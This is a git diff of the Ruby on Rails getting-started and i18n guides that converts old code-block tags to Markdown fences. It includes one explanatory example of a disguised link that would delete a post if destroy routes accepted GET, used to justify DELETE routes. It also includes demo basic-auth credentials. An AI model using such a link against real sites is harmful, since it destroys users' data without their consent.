new posts. Create a file called +app/views/posts/edit.html.erb+ and make
it look as follows:
-<erb>
+```erb
<h1>Editing post</h1>
<%= form_for :post, :url => { :action => :update, :id => @post.id },
@@ -867,7 +867,7 @@ it look as follows:
<% end %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
This time we point the form to the +update+ action, which is not defined yet
but will be very soon.
@@ -881,13 +881,13 @@ TIP: By default forms built with the +form_for_ helper are sent via +POST+.
Next, we need to add the +update+ action. The file
+config/routes.rb+ will need just one more line:
-<ruby>
+```ruby
put "posts/:id" => "posts#update"
-</ruby>
+```
And then create the +update+ action in +app/controllers/posts_controller.rb+:
-<ruby>
+```ruby
def update
@post = Post.find(params[:id])
@@ -897,7 +897,7 @@ def update
render 'edit'
end
end
-</ruby>
+```
The new method, +update_attributes+, is used when you want to update a record
that already exists, and it accepts a hash containing the attributes
@@ -913,7 +913,7 @@ Finally, we want to show a link to the +edit+ action in the list of all the
posts, so let's add that now to +app/views/posts/index.html.erb+ to make it
appear next to the "Show" link:
-<erb>
+```erb
<table>
<tr>
@@ -932,19 +932,19 @@ appear next to the "Show" link:
</tr>
<% end %>
</table>
-</erb>
+```
And we'll also add one to the +app/views/posts/show.html.erb+ template as well,
so that there's also an "Edit" link on a post's page. Add this at the bottom of
the template:
-<erb>
+```erb
...
<%= link_to 'Back', :action => :index %>
| <%= link_to 'Edit', :action => :edit, :id => @post.id %>
-</erb>
+```
And here's how our app looks so far:
@@ -956,7 +956,7 @@ h4. Using partials to clean up duplication in views
+partials+ are what Rails uses to remove duplication in views. Here's a
simple example:
-<erb>
+```erb
# app/views/user/show.html.erb
<h1><%= @user.name %></h1>
@@ -968,7 +968,7 @@ simple example:
<%= @user.location %>
<%= @user.about_me %>
-</erb>
+```
The +users/show+ template will automatically include the content of the
+users/_user_details+ template. Note that partials are prefixed by an underscore,
@@ -985,7 +985,7 @@ using a partial.
Create a new file +app/views/posts/_form.html.erb+ with the following
content:
-<erb>
+```erb
<%= form_for @post do |f| %>
<% if @post.errors.any? %>
<div id="errorExplanation">
@@ -1012,7 +1012,7 @@ content:
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
Everything except for the +form_for+ declaration remained the same.
How +form_for+ can figure out the right +action+ and +method+ attributes
@@ -1020,23 +1020,23 @@ when building the form will be explained in just a moment. For now, let's update
+app/views/posts/new.html.erb+ view to use this new partial, rewriting it
completely:
-<erb>
+```erb
<h1>New post</h1>
<%= render 'form' %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
Then do the same for the +app/views/posts/edit.html.erb+ view:
-<erb>
+```erb
<h1>Edit post</h1>
<%= render 'form' %>
<%= link_to 'Back', :action => :index %>
-</erb>
+```
Point your browser to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and
try creating a new post. Everything still works. Now try editing the
@@ -1061,7 +1061,7 @@ defined the route for the index action.
However, we don't have a +post_path+ yet, which is the reason why we
received an error before.
-<shell>
+```shell
# rake routes
posts GET /posts(.:format) posts#index
@@ -1071,14 +1071,14 @@ posts_new GET /posts/new(.:format) posts#new
GET /posts/:id/edit(.:format) posts#edit
PUT /posts/:id(.:format) posts#update
root / welcome#index
-</shell>
+```
To fix this, open +config/routes.rb+ and modify the +get "posts/:id"+
line like this:
-<ruby>
+```ruby
get "posts/:id" => "posts#show", :as => :post
-</ruby>
+```
The +:as+ option tells the +get+ method that we want to make routing helpers
called +post_url+ and +post_path+ available to our application. These are
@@ -1094,30 +1094,30 @@ We're now ready to cover the "D" part of CRUD, deleting posts from the
database. Following the REST convention, we're going to add a route for
deleting posts to +config/routes.rb+:
-<ruby>
+```ruby
delete "posts/:id" => "posts#destroy"
-</ruby>
+```
The +delete+ routing method should be used for routes that destroy
resources. If this was left as a typical +get+ route, it could be possible for
people to craft malicious URLs like this:
-<html>
+```html
<a href='http://yoursite.com/posts/1/destroy'>look at this cat!</a>
-</html>
+```
We use the +delete+ method for destroying resources, and this route is mapped to
the +destroy+ action inside +app/controllers/posts_controller.rb+, which doesn't exist yet, but is
provided below:
-<ruby>
+```ruby
def destroy
@post = Post.find(params[:id])
@post.destroy
redirect_to :action => :index
end
-</ruby>
+```
You can call +destroy+ on Active Record objects when you want to delete
them from the database. Note that we don't need to add a view for this
@@ -1127,7 +1127,7 @@ Finally, add a 'destroy' link to your +index+ action template
(+app/views/posts/index.html.erb) to wrap everything
together.
-<erb>
+```erb
<h1>Listing Posts</h1>
<table>
<tr>
@@ -1148,7 +1148,7 @@ together.
</tr>
<% end %>
</table>
-</erb>
+```
Here we're using +link_to+ in a different way. We wrap the
+:action+ and +:id+ attributes in a hash so that we can pass those two keys in
@@ -1172,7 +1172,7 @@ We've now covered all the CRUD actions of a REST app. We did so by
declaring separate routes with the appropriate verbs into
+config/routes.rb+. Here's how that file looks so far:
-<ruby>
+```ruby
get "posts" => "posts#index"
get "posts/new"
post "posts" => "posts#create"
@@ -1180,26 +1180,26 @@ get "posts/:id" => "posts#show", :as => :post
get "posts/:id/edit" => "posts#edit"
put "posts/:id" => "posts#update"
delete "posts/:id" => "posts#destroy"
-</ruby>
+```
That's a lot to type for covering a single *resource*. Fortunately,
Rails provides a +resources+ method which can be used to declare a
standard REST resource. Here's how +config/routes.rb+ looks after the
cleanup:
-<ruby>
+```ruby
Blog::Application.routes.draw do
resources :posts
root :to => "welcome#index"
end
-</ruby>
+```
If you run +rake routes+, you'll see that all the routes that we
declared before are still available:
-<shell>
+```shell
# rake routes
posts GET /posts(.:format) posts#index
POST /posts(.:format) posts#create
@@ -1209,7 +1209,7 @@ edit_post GET /posts/:id/edit(.:format) posts#edit
PUT /posts/:id(.:format) posts#update
DELETE /posts/:id(.:format) posts#destroy
root / welcome#index
-</shell>
+```
Also, if you go through the motions of creating, updating and deleting
posts the app still works as before.
@@ -1230,9 +1230,9 @@ We're going to see the same generator that we used before when creating
the +Post+ model. This time we'll create a +Comment+ model to hold
reference of post comments. Run this command in your terminal:
-<shell>
+```shell
$ rails generate model Comment commenter:string body:text post:references
-</shell>
+```
This command will generate four files:
@@ -1244,12 +1244,12 @@ This command will generate four files:
First, take a look at +comment.rb+:
-<ruby>
+```ruby
class Comment < ActiveRecord::Base
belongs_to :post
attr_accessible :body, :commenter
end
-</ruby>
+```
This is very similar to the +post.rb+ model that you saw earlier. The difference
is the line +belongs_to :post+, which sets up an Active Record _association_.
@@ -1258,7 +1258,7 @@ You'll learn a little about associations in the next section of this guide.
In addition to the model, Rails has also made a migration to create the
corresponding database table:
-<ruby>
+```ruby
class CreateComments < ActiveRecord::Migration
def change
create_table :comments do |t|
@@ -1272,27 +1272,27 @@ class CreateComments < ActiveRecord::Migration
add_index :comments, :post_id
end
end
-</ruby>
+```
The +t.references+ line sets up a foreign key column for the association between
the two models. And the +add_index+ line sets up an index for this association
column. Go ahead and run the migration:
-<shell>
+```shell
$ rake db:migrate
-</shell>
+```
Rails is smart enough to only execute the migrations that have not already been
run against the current database, so in this case you will just see:
-<shell>
+```shell
== CreateComments: migrating =================================================
-- create_table(:comments)
-> 0.0008s
-- add_index(:comments, :post_id)
-> 0.0003s
== CreateComments: migrated (0.0012s) ========================================
-</shell>
+```
h4. Associating Models
@@ -1307,22 +1307,22 @@ In fact, this is very close to the syntax that Rails uses to declare this
association. You've already seen the line of code inside the Comment model that
makes each comment belong to a Post:
-<ruby>
+```ruby
class Comment < ActiveRecord::Base
belongs_to :post
end
-</ruby>
+```
You'll need to edit the +post.rb+ file to add the other side of the association:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
validates :title, :presence => true,
:length => { :minimum => 5 }
has_many :comments
end
-</ruby>
+```
These two declarations enable a good bit of automatic behavior. For example, if
you have an instance variable +@post+ containing a post, you can retrieve all
@@ -1337,11 +1337,11 @@ As with the +welcome+ controller, we will need to add a route so that Rails know
where we would like to navigate to see +comments+. Open up the
+config/routes.rb+ file again, and edit it as follows:
-<ruby>
+```ruby
resources :posts do
resources :comments
end
-</ruby>
+```
This creates +comments+ as a _nested resource_ within +posts+. This is another
part of capturing the hierarchical relationship that exists between posts and
@@ -1355,9 +1355,9 @@ h4. Generating a Controller
With the model in hand, you can turn your attention to creating a matching
controller. Again, we'll use the same generator we used before:
-<shell>
+```shell
$ rails generate controller Comments
-</shell>
+```
This creates six files and one empty directory:
@@ -1379,7 +1379,7 @@ spam comments when they arrive.
So first, we'll wire up the Post show template
(+/app/views/posts/show.html.erb+) to let us make a new comment:
-<erb>
+```erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1407,7 +1407,7 @@ So first, we'll wire up the Post show template
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
This adds a form on the +Post+ show page that creates a new comment by
calling the +CommentsController+ +create+ action. The +form_for+ call here uses
@@ -1415,7 +1415,7 @@ an array, which will build a nested route, such as +/posts/1/comments+.
Let's wire up the +create+:
-<ruby>
+```ruby
class CommentsController < ApplicationController
def create
@post = Post.find(params[:post_id])
@@ -1423,7 +1423,7 @@ class CommentsController < ApplicationController
redirect_to post_path(@post)
end
end
-</ruby>
+```
You'll see a bit more complexity here than you did in the controller for posts.
That's a side-effect of the nesting that you've set up. Each request for a
@@ -1441,7 +1441,7 @@ using the +post_path(@post)+ helper. As we have already seen, this calls the
template. This is where we want the comment to show, so let's add that to the
+app/views/posts/show.html.erb+.
-<erb>
+```erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1482,7 +1482,7 @@ template. This is where we want the comment to show, so let's add that to the
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
Now you can add posts and comments to your blog and have them show up in the
right places.
@@ -1501,7 +1501,7 @@ First, we will make a comment partial to extract showing all the comments for th
post. Create the file +app/views/comments/_comment.html.erb+ and put the
following into it:
-<erb>
+```erb
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
@@ -1511,12 +1511,12 @@ following into it:
<strong>Comment:</strong>
<%= comment.body %>
</p>
-</erb>
+```
Then you can change +app/views/posts/show.html.erb+ to look like the
following:
-<erb>
+```erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1547,7 +1547,7 @@ following:
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
This will now render the partial in +app/views/comments/_comment.html.erb+ once
for each comment that is in the +@post.comments+ collection. As the +render+
@@ -1560,7 +1560,7 @@ h4. Rendering a Partial Form
Let us also move that new comment section out to its own partial. Again, you
create a file +app/views/comments/_form.html.erb+ containing:
-<erb>
+```erb
<%= form_for([@post, @post.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br />
@@ -1574,11 +1574,11 @@ create a file +app/views/comments/_form.html.erb+ containing:
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
Then you make the +app/views/posts/show.html.erb+ look like the following:
-<erb>
+```erb
<p>
<strong>Title:</strong>
<%= @post.title %>
@@ -1594,7 +1594,7 @@ Then you make the +app/views/posts/show.html.erb+ look like the following:
<%= link_to 'Edit Post', edit_post_path(@post) %> |
<%= link_to 'Back to Posts', posts_path %>
-</erb>
+```
The second render just defines the partial template we want to render,
<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that
@@ -1613,7 +1613,7 @@ in the +CommentsController+.
So first, let's add the delete link in the
+app/views/comments/_comment.html.erb+ partial:
-<erb>
+```erb
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
@@ -1629,14 +1629,14 @@ So first, let's add the delete link in the
:method => :delete,
:data => { :confirm => 'Are you sure?' } %>
</p>
-</erb>
+```
Clicking this new "Destroy Comment" link will fire off a <tt>DELETE
/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use
this to find the comment we want to delete, so let's add a destroy action to our
controller:
-<ruby>
+```ruby
class CommentsController < ApplicationController
def create
@@ -1653,7 +1653,7 @@ class CommentsController < ApplicationController
end
end
-</ruby>
+```
The +destroy+ action will find the post we are looking at, locate the comment
within the <tt>@post.comments</tt> collection, and then remove it from the
@@ -1667,13 +1667,13 @@ Otherwise they would simply occupy space in the database. Rails allows you to
use the +dependent+ option of an association to achieve this. Modify the Post
model, +app/models/post.rb+, as follows:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
validates :title, :presence => true,
:length => { :minimum => 5 }
has_many :comments, :dependent => :destroy
end
-</ruby>
+```
h3. Security
@@ -1692,7 +1692,7 @@ To use the authentication system, we specify it at the top of our
+PostsController+, in this case, we want the user to be authenticated on every
action, except for +index+ and +show+, so we write that:
-<ruby>
+```ruby
class PostsController < ApplicationController
http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
@@ -1700,12 +1700,12 @@ class PostsController < ApplicationController
def index
@posts = Post.all
# snipped for brevity
-</ruby>
+```
We also only want to allow authenticated users to delete comments, so in the
+CommentsController+ we write:
-<ruby>
+```ruby
class CommentsController < ApplicationController
http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
@@ -1713,7 +1713,7 @@ class CommentsController < ApplicationController
def create
@post = Post.find(params[:post_id])
# snipped for brevity
-</ruby>
+```
Now if you try to create a new post, you will be greeted with a basic HTTP
Authentication challenge
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index c073a146a8..f4ff52e5e1 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -46,27 +46,27 @@ h4. The Public I18n API
The most important methods of the I18n API are:
-<ruby>
+```ruby
translate # Lookup text translations
localize # Localize Date and Time objects to local formats
-</ruby>
+```
These have the aliases #t and #l so you can use them like this:
-<ruby>
+```ruby
I18n.t 'store.title'
I18n.l Time.now
-</ruby>
+```
There are also attribute readers and writers for the following attributes:
-<ruby>
+```ruby
load_path # Announce your custom translation files
locale # Get and set the current locale
default_locale # Get and set the default locale
exception_handler # Use a different exception_handler
backend # Use a different backend
-</ruby>
+```
So, let's internationalize a simple Rails application from the ground up in the next chapters!
@@ -82,10 +82,10 @@ Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to you
The default +en.yml+ locale in this directory contains a sample pair of translation strings:
-<ruby>
+```ruby
en:
hello: "Hello world"
-</ruby>
+```
This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
@@ -99,11 +99,11 @@ NOTE: The backend will lazy-load these translations when a translation is looked
The default +application.rb+ files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
-<ruby>
+```ruby
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
-</ruby>
+```
h4. Optional: Custom I18n Configuration Setup
@@ -111,7 +111,7 @@ For the sake of completeness, let's mention that if you do not want to use the +
To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
-<ruby>
+```ruby
# in config/initializers/locale.rb
# tell the I18n library where to find your translations
@@ -119,7 +119,7 @@ I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
# set default locale to something other than :en
I18n.default_locale = :pt
-</ruby>
+```
h4. Setting and Passing the Locale
@@ -131,13 +131,13 @@ WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>c
The _setting part_ is easy. You can set the locale in a +before_filter+ in the +ApplicationController+ like this:
-<ruby>
+```ruby
before_filter :set_locale
def set_locale
I18n.locale = params[:locale] || I18n.default_locale
end
-</ruby>
+```
This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portuguese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
@@ -154,7 +154,7 @@ One option you have is to set the locale from the domain name where your applica
You can implement it like this in your +ApplicationController+:
-<ruby>
+```ruby
before_filter :set_locale
def set_locale
@@ -171,11 +171,11 @@ def extract_locale_from_tld
parsed_locale = request.host.split('.').last
I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
end
-</ruby>
+```
We can also set the locale from the _subdomain_ in a very similar way:
-<ruby>
+```ruby
# Get locale code from request subdomain (like http://it.application.local:3000)
# You have to put something like:
# 127.0.0.1 gr.application.local
@@ -184,13 +184,13 @@ def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
end
-</ruby>
+```
If your application includes a locale switching menu, you would then have something like this in it:
-<ruby>
+```ruby
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
-</ruby>
+```
assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
@@ -208,13 +208,13 @@ Rails contains infrastructure for "centralizing dynamic decisions about the URLs
We can include something like this in our +ApplicationController+ then:
-<ruby>
+```ruby
# app/controllers/application_controller.rb
def default_url_options(options={})
logger.debug "default_url_options is passed options: #{options.inspect}\n"
{ :locale => I18n.locale }
end
-</ruby>
+```
Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
@@ -222,23 +222,23 @@ You may be satisfied with this. It does impact the readability of URLs, though,
You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Dutch locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+scoping+":http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html option in this way:
-<ruby>
+```ruby
# config/routes.rb
scope "/:locale" do
resources :books
end
-</ruby>
+```
Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Dutch locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
-<ruby>
+```ruby
# config/routes.rb
scope "(:locale)", :locale => /en|nl/ do
resources :books
end
-</ruby>
+```
With this approach you will not get a +Routing Error+ when accessing your resources such as +http://localhost:3001/books+ without a locale. This is useful for when you want to use the default locale when one is not specified.
@@ -246,10 +246,10 @@ Of course, you need to take special care of the root URL (usually "homepage" or
You would probably need to map URLs like these:
-<ruby>
+```ruby
# config/routes.rb
match '/:locale' => 'dashboard#index'
-</ruby>
+```
Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +root :to+ declaration.)
@@ -266,7 +266,7 @@ One source of client supplied information would be an +Accept-Language+ HTTP hea
A trivial implementation of using an +Accept-Language+ header would be:
-<ruby>
+```ruby
def set_locale
logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
I18n.locale = extract_locale_from_accept_language_header
@@ -276,7 +276,7 @@ private
def extract_locale_from_accept_language_header
request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end
-</ruby>
+```
Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
@@ -296,7 +296,7 @@ Let's _internationalize_ our application, i.e. abstract every locale-specific pa
You most probably have something like this in one of your applications:
-<ruby>
+```ruby
# config/routes.rb
Yourapp::Application.routes.draw do
root :to => "home#index"
@@ -312,7 +312,7 @@ end
# app/views/home/index.html.erb
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>
-</ruby>
+```
!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
@@ -320,7 +320,7 @@ h4. Adding Translations
Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
-<ruby>
+```ruby
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
@@ -331,7 +331,7 @@ end
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>
-</ruby>
+```
When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
@@ -341,7 +341,7 @@ NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do
So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-<ruby>
+```ruby
# config/locales/en.yml
en:
hello_world: Hello world!
@@ -351,7 +351,7 @@ en:
pirate:
hello_world: Ahoy World
hello_flash: Ahoy Flash
-</ruby>
+```
There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
@@ -369,35 +369,35 @@ h4. Passing variables to translations
You can use variables in the translation messages and pass their values from the view.
-<ruby>
+```ruby
# app/views/home/index.html.erb
<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
# config/locales/en.yml
en:
greet_username: "%{message}, %{user}!"
-</ruby>
+```
h4. Adding Date/Time Formats
OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
-<ruby>
+```ruby
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p
<p><%= l Time.now, :format => :short %></p>
-</ruby>
+```
And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-<ruby>
+```ruby
# config/locales/pirate.yml
pirate:
time:
formats:
short: "arrrround %H'ish"
-</ruby>
+```
So that would give you:
@@ -421,7 +421,7 @@ When you are using the default SimpleStore shipped with the i18n library, dictio
For example, your +config/locales+ directory could look like this:
-<pre>
+```
|-defaults
|---es.rb
|---en.rb
@@ -442,17 +442,17 @@ For example, your +config/locales+ directory could look like this:
|---navigation
|-----es.rb
|-----en.rb
-</pre>
+```
This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
-<ruby>
+```ruby
# config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
-</ruby>
+```
Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
@@ -474,84 +474,84 @@ h5. Basic Lookup, Scopes and Nested Keys
Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
-<ruby>
+```ruby
I18n.t :message
I18n.t 'message'
-</ruby>
+```
The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
-<ruby>
+```ruby
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
+```
This looks up the +:record_invalid+ message in the Active Record error messages.
Additionally, both the key and scopes can be specified as dot-separated keys as in:
-<ruby>
+```ruby
I18n.translate "activerecord.errors.messages.record_invalid"
-</ruby>
+```
Thus the following calls are equivalent:
-<ruby>
+```ruby
I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', :scope => :active_record
I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
+```
h5. Defaults
When a +:default+ option is given, its value will be returned if the translation is missing:
-<ruby>
+```ruby
I18n.t :missing, :default => 'Not here'
# => 'Not here'
-</ruby>
+```
If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
-<ruby>
+```ruby
I18n.t :missing, :default => [:also_missing, 'Not here']
# => 'Not here'
-</ruby>
+```
h5. Bulk and Namespace Lookup
To look up multiple translations at once, an array of keys can be passed:
-<ruby>
+```ruby
I18n.t [:odd, :even], :scope => 'errors.messages'
# => ["must be odd", "must be even"]
-</ruby>
+```
Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
-<ruby>
+```ruby
I18n.t 'activerecord.errors.messages'
# => { :inclusion => "is not included in the list", :exclusion => ... }
-</ruby>
+```
h5. "Lazy" Lookup
Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
-<yaml>
+```yaml
es:
books:
index:
title: "Título"
-</yaml>
+```
you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot):
-<ruby>
+```ruby
<%= t '.title' %>
-</ruby>
+```
h4. Interpolation
@@ -559,11 +559,11 @@ In many cases you want to abstract your translations so that *variables can be i
All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
-<ruby>
+```ruby
I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!'
I18n.translate :thanks, :name => 'Jeremy'
# => 'Thanks Jeremy!'
-</ruby>
+```
If a translation uses +:default+ or +:scope+ as an interpolation variable, an +I18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
@@ -573,7 +573,7 @@ In English there are only one singular and one plural form for a given string, e
The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
-<ruby>
+```ruby
I18n.backend.store_translations :en, :inbox => {
:one => 'one message',
:other => '%{count} messages'
@@ -583,13 +583,13 @@ I18n.translate :inbox, :count => 2
I18n.translate :inbox, :count => 1
# => 'one message'
-</ruby>
+```
The algorithm for pluralizations in +:en+ is as simple as:
-<ruby>
+```ruby
entry[count == 1 ? 0 : 1]
-</ruby>
+```
I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
@@ -601,30 +601,30 @@ The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Threa
If no locale is passed, +I18n.locale+ is used:
-<ruby>
+```ruby
I18n.locale = :de
I18n.t :foo
I18n.l Time.now
-</ruby>
+```
Explicitly passing a locale:
-<ruby>
+```ruby
I18n.t :foo, :locale => :de
I18n.l Time.now, :locale => :de
-</ruby>
+```
The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
-<ruby>
+```ruby
I18n.default_locale = :de
-</ruby>
+```
h4. Using Safe HTML Translations
Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
-<ruby>
+```ruby
# config/locales/en.yml
en:
welcome: <b>welcome!</b>
@@ -637,7 +637,7 @@ en:
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>
-</ruby>
+```
!images/i18n/demo_html_safe.png(i18n demo html safe)!
@@ -647,7 +647,7 @@ The Simple backend shipped with Active Support allows you to store translations
For example a Ruby Hash providing translations can look like this:
-<ruby>
+```ruby
{
:pt => {
:foo => {
@@ -655,37 +655,37 @@ For example a Ruby Hash providing translations can look like this:
}
}
}
-</ruby>
+```
The equivalent YAML file would look like this:
-<ruby>
+```ruby
pt:
foo:
bar: baz
-</ruby>
+```
As you see, in both cases the top level key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
Here is a "real" example from the Active Support +en.yml+ translations YAML file:
-<ruby>
+```ruby
en:
date:
formats:
default: "%Y-%m-%d"
short: "%b %d"
long: "%B %d, %Y"
-</ruby>
+```
So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
-<ruby>
+```ruby
I18n.t 'date.formats.short'
I18n.t 'formats.short', :scope => :date
I18n.t :short, :scope => 'date.formats'
I18n.t :short, :scope => [:date, :formats]
-</ruby>
+```
Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
@@ -695,7 +695,7 @@ You can use the methods +Model.model_name.human+ and +Model.human_attribute_name
For example when you add the following translations:
-<ruby>
+```ruby
en:
activerecord:
models:
@@ -704,7 +704,7 @@ en:
user:
login: "Handle"
# will translate User attribute "login" as "Handle"
-</ruby>
+```
Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle".
@@ -716,45 +716,45 @@ This gives you quite powerful means to flexibly adjust your messages to your app
Consider a User model with a validation for the name attribute like this:
-<ruby>
+```ruby
class User < ActiveRecord::Base
validates :name, :presence => true
end
-</ruby>
+```
The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
-<ruby>
+```ruby
activerecord.errors.models.[model_name].attributes.[attribute_name]
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages
-</ruby>
+```
Thus, in our example it will try the following keys in this order and return the first result:
-<ruby>
+```ruby
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
-</ruby>
+```
When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
For example, you might have an Admin model inheriting from User:
-<ruby>
+```ruby
class Admin < User
validates :name, :presence => true
end
-</ruby>
+```
Then Active Record will look for messages in this order:
-<ruby>
+```ruby
activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
@@ -762,7 +762,7 @@ activerecord.errors.models.user.blank
